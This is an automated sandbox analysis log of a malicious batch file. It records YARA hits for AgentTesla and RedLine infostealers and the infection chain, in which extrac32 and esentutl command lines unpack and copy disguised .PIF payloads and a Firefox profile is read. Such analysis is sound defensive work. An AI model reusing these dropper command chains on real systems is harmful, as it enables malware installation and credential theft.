Source: 17.2.xrbjyllC.pif.22680000.6.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AgentTeslaV2 author = ditekSHen, description = AgenetTesla Type 2 Keylogger payload
Source: 0000000B.00000002.2039752905.0000000029A80000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 0000000B.00000002.2039752905.0000000029A80000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_AgentTeslaV2 author = ditekSHen, description = AgenetTesla Type 2 Keylogger payload
Source: 00000011.00000002.2933556795.0000000022680000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 00000011.00000002.2933556795.0000000022680000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_AgentTeslaV2 author = ditekSHen, description = AgenetTesla Type 2 Keylogger payload
Source: 00000009.00000002.1887098734.000000002C240000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 00000009.00000002.1887098734.000000002C240000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_AgentTeslaV2 author = ditekSHen, description = AgenetTesla Type 2 Keylogger payload
Source: 0000000B.00000002.2037435612.0000000026EC0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 0000000B.00000002.2037435612.0000000026EC0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_AgentTeslaV2 author = ditekSHen, description = AgenetTesla Type 2 Keylogger payload
Source: 00000009.00000002.1859312320.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 00000011.00000002.2918780561.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 00000011.00000002.2937049354.0000000025040000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 00000011.00000002.2937049354.0000000025040000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_AgentTeslaV2 author = ditekSHen, description = AgenetTesla Type 2 Keylogger payload
Source: 0000000B.00000002.2004085524.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 00000009.00000001.1719718721.0000000000400000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 00000009.00000002.1887771568.000000002C980000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 00000009.00000002.1887771568.000000002C980000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_AgentTeslaV2 author = ditekSHen, description = AgenetTesla Type 2 Keylogger payload
Source: 00000011.00000001.1996288631.0000000000400000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 0000000B.00000001.1826572703.0000000000400000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073

Source: 9.2.xrbjyllC.pif.2c980000.9.raw.unpack, WP6RZJql8gZrNhVA9v.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 9.2.xrbjyllC.pif.2c980000.9.raw.unpack, WP6RZJql8gZrNhVA9v.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 9.2.xrbjyllC.pif.2c980000.9.raw.unpack, 4JJG6X.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 9.2.xrbjyllC.pif.2c980000.9.raw.unpack, 4JJG6X.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 9.2.xrbjyllC.pif.2c980000.9.raw.unpack, 8C78isHTVco.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 9.2.xrbjyllC.pif.2c980000.9.raw.unpack, 8C78isHTVco.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 9.2.xrbjyllC.pif.2c980000.9.raw.unpack, 8C78isHTVco.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 9.2.xrbjyllC.pif.2c980000.9.raw.unpack, 8C78isHTVco.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 9.2.xrbjyllC.pif.2c980000.9.raw.unpack, CqSP68Ir.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 9.2.xrbjyllC.pif.2c980000.9.raw.unpack, CqSP68Ir.cs	Cryptographic APIs: 'TransformFinalBlock', 'CreateDecryptor'

Source: classification engine

Classification label: mal100.troj.spyw.evad.winBAT@25/11@3/3

Source: C:\Users\user\AppData\Local\Temp\x.exe

Code function: 3_2_031C7FD4 GetDiskFreeSpaceA,

3_2_031C7FD4

Source: C:\Users\Public\Libraries\xrbjyllC.pif

Code function: 9_2_004019F0 OleInitialize,_getenv,GetCurrentProcessId,CreateToolhelp32Snapshot,Module32First,CloseHandle,Module32Next,Module32Next,CloseHandle,GetModuleHandleA,FindResourceA,LoadResource,LockResource,SizeofResource,_malloc,_memset,SizeofResource,_memset,FreeResource,_malloc,SizeofResource,_memset,LoadLibraryA,GetProcAddress,VariantInit,VariantInit,VariantInit,SafeArrayCreate,SafeArrayAccessData,SafeArrayUnaccessData,SafeArrayDestroy,SafeArrayCreateVector,@__unlockDebuggerData$qv,VariantClear,VariantClear,VariantClear,

9_2_004019F0

Source: C:\Users\user\AppData\Local\Temp\x.exe

Code function: 3_2_031D6DC8 CoCreateInstance,

3_2_031D6DC8

Source: C:\Users\Public\Libraries\xrbjyllC.pif

9_2_004019F0

Source: C:\Users\user\AppData\Local\Temp\x.exe

File created: C:\Users\Public\Libraries\PNO

Jump to behavior

Source: C:\Users\Public\Libraries\xrbjyllC.pif	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6260:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5956:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5800:120:WilError_03

Source: C:\Windows\System32\extrac32.exe

File created: C:\Users\user\AppData\Local\Temp\CAB06544.TMP

Jump to behavior

Source: unknown

Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\z1Transaction_ID_REF2418_cmd.bat" "

Source: C:\Users\Public\Libraries\xrbjyllC.pif	Command line argument: 08A	9_2_00413780
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Command line argument: 08A	9_2_00413780
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Command line argument: 08A	9_1_00413780
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Command line argument: 08A	11_2_00413780
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Command line argument: 08A	11_2_00413780
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Command line argument: 08A	11_1_00413780

Source: C:\Users\user\AppData\Local\Temp\x.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\Public\Libraries\Cllyjbrx.PIF	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\Public\Libraries\Cllyjbrx.PIF	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\Public\Libraries\Cllyjbrx.PIF	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales
Source: C:\Users\Public\Libraries\Cllyjbrx.PIF	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales

Source: C:\Users\Public\Libraries\xrbjyllC.pif	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\Public\Libraries\xrbjyllC.pif	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\Public\Libraries\xrbjyllC.pif	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\Public\Libraries\xrbjyllC.pif	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\Public\Libraries\xrbjyllC.pif	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\Public\Libraries\xrbjyllC.pif	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Users\Public\Libraries\xrbjyllC.pif

File read: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini

Jump to behavior

Source: C:\Windows\System32\extrac32.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: z1Transaction_ID_REF2418_cmd.bat

ReversingLabs: Detection: 23%

Source: unknown	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\z1Transaction_ID_REF2418_cmd.bat" "
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\extrac32.exe extrac32 /y "C:\Users\user\Desktop\z1Transaction_ID_REF2418_cmd.bat" "C:\Users\user\AppData\Local\Temp\x.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\x.exe "C:\Users\user\AppData\Local\Temp\x.exe"
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\Public\Libraries\xrbjyllC.cmd" "
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\esentutl.exe C:\\Windows\\System32\\esentutl /y C:\\Windows\\System32\\cmd.exe /d C:\\Users\\Public\\alpha.pif /o
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process created: C:\Windows\SysWOW64\esentutl.exe C:\\Windows\\System32\\esentutl.exe /y C:\Users\user\AppData\Local\Temp\x.exe /d C:\\Users\\Public\\Libraries\\Cllyjbrx.PIF /o
Source: C:\Windows\SysWOW64\esentutl.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process created: C:\Users\Public\Libraries\xrbjyllC.pif C:\Users\Public\Libraries\xrbjyllC.pif
Source: unknown	Process created: C:\Users\Public\Libraries\Cllyjbrx.PIF "C:\Users\Public\Libraries\Cllyjbrx.PIF"
Source: C:\Users\Public\Libraries\Cllyjbrx.PIF	Process created: C:\Users\Public\Libraries\xrbjyllC.pif C:\Users\Public\Libraries\xrbjyllC.pif
Source: unknown	Process created: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe "C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe"
Source: unknown	Process created: C:\Users\Public\Libraries\Cllyjbrx.PIF "C:\Users\Public\Libraries\Cllyjbrx.PIF"
Source: C:\Users\Public\Libraries\Cllyjbrx.PIF	Process created: C:\Users\Public\Libraries\xrbjyllC.pif C:\Users\Public\Libraries\xrbjyllC.pif
Source: unknown	Process created: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe "C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\extrac32.exe extrac32 /y "C:\Users\user\Desktop\z1Transaction_ID_REF2418_cmd.bat" "C:\Users\user\AppData\Local\Temp\x.exe"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\x.exe "C:\Users\user\AppData\Local\Temp\x.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\Public\Libraries\xrbjyllC.cmd" "	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process created: C:\Windows\SysWOW64\esentutl.exe C:\\Windows\\System32\\esentutl.exe /y C:\Users\user\AppData\Local\Temp\x.exe /d C:\\Users\\Public\\Libraries\\Cllyjbrx.PIF /o	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process created: C:\Users\Public\Libraries\xrbjyllC.pif C:\Users\Public\Libraries\xrbjyllC.pif	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\esentutl.exe C:\\Windows\\System32\\esentutl /y C:\\Windows\\System32\\cmd.exe /d C:\\Users\\Public\\alpha.pif /o	Jump to behavior
Source: C:\Users\Public\Libraries\Cllyjbrx.PIF	Process created: C:\Users\Public\Libraries\xrbjyllC.pif C:\Users\Public\Libraries\xrbjyllC.pif	Jump to behavior
Source: C:\Users\Public\Libraries\Cllyjbrx.PIF	Process created: C:\Users\Public\Libraries\xrbjyllC.pif C:\Users\Public\Libraries\xrbjyllC.pif

Source: C:\Windows\System32\cmd.exe	Section loaded: cmdext.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\extrac32.exe	Section loaded: cabinet.dll	Jump to behavior
Source: C:\Windows\System32\extrac32.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\extrac32.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\extrac32.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Windows\System32\extrac32.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Windows\System32\extrac32.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\extrac32.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\extrac32.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\extrac32.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\extrac32.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\extrac32.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: url.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ??.dll	Jump to behavior
